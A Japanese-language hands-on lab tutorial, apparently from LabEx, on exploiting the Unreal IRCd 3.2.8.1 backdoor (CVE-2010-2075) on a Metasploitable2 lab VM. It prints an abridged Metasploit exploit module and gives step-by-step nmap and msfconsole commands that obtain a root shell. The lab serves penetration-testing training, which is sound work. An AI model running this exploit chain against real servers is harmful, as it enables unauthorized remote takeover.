はじめに
この実験では、LabEx プラットフォーム上にホストされている Metasploitable2 ターゲットマシンの Unreal IRCd サービスを攻撃する方法を学びます。まず、Unreal IRCd サービスの脆弱性を理解し、次に Nmap を使用して脆弱性スキャンを実行します。脆弱なサービスを特定した後、Metasploit フレームワークを利用して脆弱性を攻撃し、ターゲットマシンでリモートシェルを取得します。最後に、攻撃が成功したことを、攻撃対象のシステムでコマンドを実行することで検証します。
Unreal IRCd の脆弱性を理解し、実験環境を起動する
Unreal IRCd 3.2.8.1 バージョンには、リモート攻撃者が影響を受けるシステムで任意のコードを実行できるバックドア脆弱性 (CVE-2010-2075) が含まれています。この脆弱性は DEBUG3_DOLOG_SYSTEM マクロに存在し、攻撃者が利用できる外部の悪意のあるコードが含まれています。
関連情報:
この脆弱性を攻撃するための Metasploit モジュール:
以下は Metasploit モジュールの概要です:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
#... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
これで、攻撃マシン (Kali Linux コンテナ) とターゲットマシン (Metasploitable2 仮想マシン) を起動して実験を開始します。
- LabEx ホストマシンで xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します:
sudo virsh start Metasploitable2
ターゲットマシンが起動するのを待ちます。起動には 1 - 3 分かかる場合があります。
- ターゲットマシンに ping を送信して接続性をテストします:
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
- Kali Linux コンテナを起動し、以下のコマンドを実行して bash 環境に入ります:
docker run -ti --network host b5b709a49cd5 bash
- Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします:
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
これで攻撃マシンとターゲットマシンが両方とも起動しており、侵入テストを開始できます。
注意: 現在の bash を誤って終了すると、Kali コンテナは自動的に停止します。ホストで再度 docker run -ti --network host b5b709a49cd5 bash を実行して、新しい Kali コンテナを起動し、bash に入って実験を続けることができます。
脆弱性スキャンを実行する
このステップでは、ターゲットマシンに対して脆弱性スキャンを実行し、開いているポートとそれらのポートで動作しているサービスを特定します。この目的のために、強力な Nmap (Network Mapper) ツールを使用します。
- Kali Linux コンテナ内で Metasploit コンソールを起動します:
cd ~
msfconsole
- Metasploit コンソール内で、
nmapコマンドを使用してターゲットマシンをスキャンします:
nmap -sV -T4 192.168.122.102
-sV オプションは開いているポートのバージョン検出を有効にし、-T4 はタイミングポリシーを積極的なレベル (1 - 5、数値が高いほど高速) に設定します。
出力には、unreal ircd サービスが動作している開いているポート 6667 が表示されるはずです。
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
Unreal IRCd の脆弱性を悪用する
ポート 6667 で動作している脆弱な Unreal IRCd サービスを特定したので、Metasploit フレームワークを使用してこの脆弱性を攻撃します。
- まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します:
cd ~
msfconsole
- Metasploit コンソールで、
unreal_ircd_3281_backdoorモジュールを検索します:
search unreal_ircd_3281_backdoor
- モジュールを読み込みます:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- ターゲットホストを設定します:
set RHOST 192.168.122.102
- 攻撃を実行します:
exploit
攻撃が成功すると、ターゲットマシンでリモートシェルを取得できます。
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
悪用の検証を行う
攻撃が成功したことを検証するために、前のステップで取得したリモートシェルでコマンドを実行します。
- まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します:
cd ~
msfconsole
whoamiコマンドで現在のユーザーを確認します:
whoami
hostnameコマンドでホスト名を確認します:
hostname
ifconfigコマンドで IP アドレスを確認します:
ifconfig
出力に現在のユーザーとして root、ホスト名として metasploitable が表示され、IP アドレスがターゲットマシン (192.168.122.102) と一致する場合、攻撃が成功し、ターゲットシステムを完全に制御できたことが確認できます。
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
まとめ
この実験では、Unreal IRCd の脆弱性について学び、Metasploit フレームワークを使用してこの脆弱性を攻撃する方法を学びました。まず、脆弱性とその影響を理解し、次に脆弱性スキャンを実行して脆弱なサービスを特定しました。ポート 6667 で動作している Unreal IRCd サービスを見つけた後、適切な Metasploit モジュールを使用して脆弱性を攻撃し、ターゲットマシンにリモートアクセスを獲得しました。最後に、攻撃されたシステムでコマンドを実行することで、攻撃の成功を検証しました。この実験は、脆弱性分析、攻撃、および攻撃後の検証に関する実践的な経験を提供しました。これらは、エシカルハッカーやサイバーセキュリティ専門家にとって不可欠なスキルです。



